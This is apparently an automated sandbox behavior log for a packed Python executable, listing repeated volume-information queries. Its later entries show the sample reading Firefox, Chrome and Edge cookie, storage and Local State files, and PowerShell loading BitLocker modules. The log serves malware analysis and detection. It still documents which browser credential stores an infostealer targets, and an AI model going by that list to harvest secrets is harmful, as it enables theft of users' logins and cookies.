              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\_bz2.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\_sqlite3.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\_socket.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\select.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\_ssl.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\_hashlib.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\_queue.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\unicodedata.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\content-prefs.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\permissions.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\protections.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\webappsstore.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\ls-archive.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
